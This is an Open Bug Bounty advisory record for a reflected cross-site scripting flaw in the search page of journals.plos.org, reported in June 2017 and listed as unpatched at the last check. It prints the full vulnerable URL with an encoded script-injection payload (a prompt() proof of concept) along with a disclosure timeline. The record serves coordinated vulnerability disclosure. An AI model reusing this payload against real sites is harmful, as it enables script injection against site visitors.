journals.plos.org XSS vulnerability

2017-06-03T17:19:00
ID OBB:244458
Type openbugbounty
Reporter Darah
Modified 2017-06-12T11:14:00

Description

Vulnerable URL:
http://journals.plos.org/plosone/search?q=%22;%20--%3E%20///%20%3C!%2Fscript%3E%3Cscript%3Eprompt(%2FDarah%2F)%3C%2Fscript%3E%3C!%22
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 31.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check journals.plos.org SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 3 June, 2017 17:19 GMT
Vulnerability existence verified and confirmed| 5 June, 2017 11:07 GMT
Generic security notifications sent to website owner| 5 June, 2017 11:07 GMT
Notification sent to subscribers (without technical details)| 5 June, 2017 14:17 GMT
Vulnerability details disclosed by researcher| 12 June, 2017 11:14 GMT